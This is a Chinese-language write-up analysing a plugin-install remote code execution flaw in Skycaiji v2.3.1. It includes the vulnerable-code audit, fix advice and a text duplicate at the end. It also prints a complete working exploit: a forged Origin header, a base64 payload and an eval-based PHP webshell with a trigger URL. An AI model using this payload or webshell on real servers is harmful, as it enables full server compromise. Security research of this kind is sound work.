蓝天采集器v2.3.1 getshell
字数 1066 2025-08-25 22:58:55

蓝天采集器v2.3.1 getshell漏洞分析与利用

漏洞概述

蓝天采集器(Skycaiji)v2.3.1版本存在一个后台插件安装功能处的远程代码执行漏洞,攻击者可以通过构造特殊的请求在服务器上写入恶意PHP文件,进而实现getshell。

环境准备

  1. 下载v2.3.1版本:

    https://github.com/zorlan/skycaiji
    
  2. 本地测试域名设置为:sky231.com

漏洞复现步骤

1. 访问插件安装接口

http://xxxx.com/index.php?s=/Admin/Store/installPlugin

2. 添加HTTP头

在请求中添加Origin头:

Origin: http://www.skycaiji.com

3. POST数据

发送以下base64编码的数据:

plugin=eyJhcHAiOiJBYUFhQWEiLCJuYW1lIjoidGVzdDEiLCJ0eXBlIjoicmVsZWFzZSIsIm1vZHVsZSI6InRlc3QyIiwiY29kZSI6IlBEOXdhSEFLTHlvS2JtRnRaWE53WVdObElIQnNkV2RwYmx4eVpXeGxZWE5sWEdOdGN6c0tDbU5zWVhOeklFRmhRV0ZCWVhzS0NYQjFZbXhwWXlBa2NtVnNaV0Z6WlRzS2ZTb3ZDa0JsZG1Gc0tDUmZSMFZVVzJGZEtUc0tQejQ9In0=

4. 文件生成位置

恶意文件将生成在:

\plugin\release\cms\AaAaAa.php

5. 触发漏洞

访问后台"发布插件"选项卡,点击"开发"按钮,然后在URL中添加a参数执行任意PHP代码:

http://sky231.com/index.php?s=/admin/Develop/releaseCms&app=AaAaAa&a=phpinfo();

代码审计分析

漏洞入口

位于/SkycaijiApp/admin/controller/Store.php文件中的installPluginAction函数。

关键函数分析

  1. _checkOrigin()函数:

    • 检查请求来源是否在白名单中
    • 使用$_SERVER['HTTP_ORIGIN']获取来源
    • 白名单包含http://www.skycaiji.com
  2. installPluginAction函数:

    • 对传入的plugin参数进行base64解码
    • 然后进行json解码
    • 调用_installPlugin函数
  3. _installPlugin函数:

    • 进行数据判空检查
    • $plugin['type']=='release'时调用addCms函数
  4. addCms函数(位于/SkycaijiApp/admin/model/ReleaseApp.php):

    • 检查$cms['app']不为空
    • 进行三个正则校验:
      1. 检查$cms['app']命名规范(可用"AaAaAa"绕过)
      2. 检查代码中是否存在命名空间
      3. 检查类名是否与$cms['app']一致
  5. write_dir_file函数:

    • 负责写入文件

绕过技巧

  1. 使用注释符/* */包裹命名空间和类定义部分
  2. 构造的PHP代码示例:
<?php
/*
namespace plugin\release\cms;

class AaAaAa{
    public $release;
}*/
@eval($_GET[a]);
?>

EXP构造方法

  1. 准备恶意PHP代码(如上所示)
  2. 构造JSON格式字符串:
{
    "app":"AaAaAa",
    "name":"test1",
    "type":"release",
    "module":"test2",
    "code":"PD9waHAKLyoKbmFtZXNwYWNlIHBsdWdpblxyZWxlYXNlXGNtczsKCmNsYXNzIEFhQWFBYXsKCXB1YmxpYyAkcmVsZWFzZTsKfSovCkBldmFsKCRfR0VUW2FdKTsKPz4="
}
  1. 将JSON字符串进行base64编码

漏洞修复建议

  1. 严格校验Origin头,避免伪造
  2. 对写入文件内容进行更严格的过滤
  3. 限制插件安装功能的权限
  4. 更新到最新版本

总结

该漏洞利用蓝天采集器后台插件安装功能的多处缺陷,通过精心构造的请求实现任意文件写入和代码执行。漏洞利用需要管理员权限,但一旦利用成功危害极大,可完全控制服务器。

蓝天采集器v2.3.1 getshell漏洞分析与利用 漏洞概述 蓝天采集器(Skycaiji)v2.3.1版本存在一个后台插件安装功能处的远程代码执行漏洞,攻击者可以通过构造特殊的请求在服务器上写入恶意PHP文件,进而实现getshell。 环境准备 下载v2.3.1版本: 本地测试域名设置为:sky231.com 漏洞复现步骤 1. 访问插件安装接口 2. 添加HTTP头 在请求中添加Origin头: 3. POST数据 发送以下base64编码的数据: 4. 文件生成位置 恶意文件将生成在: 5. 触发漏洞 访问后台"发布插件"选项卡,点击"开发"按钮,然后在URL中添加a参数执行任意PHP代码: 代码审计分析 漏洞入口 位于 /SkycaijiApp/admin/controller/Store.php 文件中的 installPluginAction 函数。 关键函数分析 _checkOrigin() 函数: 检查请求来源是否在白名单中 使用 $_SERVER['HTTP_ORIGIN'] 获取来源 白名单包含 http://www.skycaiji.com installPluginAction 函数: 对传入的plugin参数进行base64解码 然后进行json解码 调用 _installPlugin 函数 _installPlugin 函数: 进行数据判空检查 当 $plugin['type']=='release' 时调用 addCms 函数 addCms 函数(位于 /SkycaijiApp/admin/model/ReleaseApp.php ): 检查 $cms['app'] 不为空 进行三个正则校验: 检查 $cms['app'] 命名规范(可用"AaAaAa"绕过) 检查代码中是否存在命名空间 检查类名是否与 $cms['app'] 一致 write_dir_file 函数: 负责写入文件 绕过技巧 使用注释符 /* */ 包裹命名空间和类定义部分 构造的PHP代码示例: EXP构造方法 准备恶意PHP代码(如上所示) 构造JSON格式字符串: 将JSON字符串进行base64编码 漏洞修复建议 严格校验Origin头,避免伪造 对写入文件内容进行更严格的过滤 限制插件安装功能的权限 更新到最新版本 总结 该漏洞利用蓝天采集器后台插件安装功能的多处缺陷,通过精心构造的请求实现任意文件写入和代码执行。漏洞利用需要管理员权限,但一旦利用成功危害极大,可完全控制服务器。